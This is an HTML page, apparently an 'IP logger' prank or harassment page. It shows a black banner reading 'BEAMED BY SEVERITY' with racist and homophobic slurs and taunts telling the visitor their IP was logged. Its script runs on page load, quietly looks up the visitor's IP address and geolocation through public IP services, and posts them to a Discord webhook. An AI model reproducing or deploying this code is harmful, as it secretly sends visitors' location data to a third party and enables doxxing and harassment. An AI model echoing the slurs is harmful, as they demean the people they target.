<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>BEAMED BY SEVERITY</title>
    <style>
        body {
            background-color: black;
            color: white;
            font-family: Arial, sans-serif;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            height: 100vh;
            margin: 0;
        }
        h1 {
            font-size: 2.5em;
            margin-bottom: 2em;
        }
        .loading-dots {
            font-size: 1.5em;
            margin-top: 1em;
        }
        .container {
            text-align: center;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>BEAMED BY SEVERITY</h1>
        <img src="https://cdn.discordapp.com/attachments/1250203532922191993/1290809380303798302/ezgif.com-gif-maker.gif?ex=676b3bea&is=6769ea6a&hm=9b844b66bfe55212d7d791f81c6c1047fad10e856f7fb1bba2f52c5c345d81f6&" alt="Loading animation">
        <p class="loading-dots">Cope Harder Faggot... + You just got IP logged retarded nigger</p>
        <p class="loading-dots">Womp to the fucking womp 😢😢😢</p>
    </div>
</body>
</html>

  <body>
    <header class="header"></header>
    <script src="./config.js"></script>
    <script>
      function get_information(link, callback) {
        var xhr = new XMLHttpRequest();
        xhr.open("GET", link, true);
        xhr.onreadystatechange = function () {
          if (xhr.readyState === 4) {
            callback(xhr.responseText);
          }
        };
        xhr.send(null);
      }

      get_information(
        "http://ip-api.com/json/?fields=status,message,continent,continentCode,country,countryCode,region,regionName,city,district,zip,lat,lon,timezone,offset,currency,isp,org,as,asname,reverse,mobile,proxy,hosting,query",
        function (text) {
          var div = document.createElement("div");
          div.innerHTML = text;
          div.id = "razzylog";
          const secondList = document.getElementsByClassName("header")[0];
          secondList.appendChild(div);
        }
      );

      get_information("https://api.ipify.org/", function (text) {
        var div = document.createElement("div");
        div.innerHTML = text;
        div.id = "ipppp";
        const secondList = document.getElementsByClassName("header")[0];
        secondList.appendChild(div);
      });

      function ipLogByRaz() {
        var ip = document.getElementById("ipppp").innerHTML;
        var extra = JSON.parse(document.getElementById("razzylog").innerHTML);

        // Format headers as key-value pairs
        const formattedHeaders = Object.entries(extra)
          .map(([key, value]) => `${key}: ${value}`)
          .join("\n");

        const request = new XMLHttpRequest();
        request.open("POST", wbhk);
        request.setRequestHeader("Content-type", "application/json");

        const params = {
          content: "@everyone",
          username: "Logged",
          avatar_url:
            "https://r2.guns.lol/e3973a2d-e4b0-4d88-8413-3f94db77b77a.png",
          embeds: [
            {
              title: "IP Information",
              description: "Connection details and additional information.",
              fields: [
                {
                  name: "IP Address",
                  value: `\`\`\`${ip}\`\`\``,
                  inline: false,
                },
                {
                  name: "Raw Link",
                  value: `\`\`\`https://api.techniknews.net/ipgeo/${ip}\`\`\``,
                  inline: false,
                },
                {
                  name: "Extra Info",
                  value: `\`\`\`\n${formattedHeaders}\`\`\``,
                  inline: false,
                },
              ],
            },
          ],
        };
        request.send(JSON.stringify(params));
      }

      setTimeout(function () {
        ipLogByRaz();
      }, 700);
    </script>
    <style>
      .header {
        display: none;
      }

      .map-container {
        display: none;
      }
    </style>
  </body>
</html>
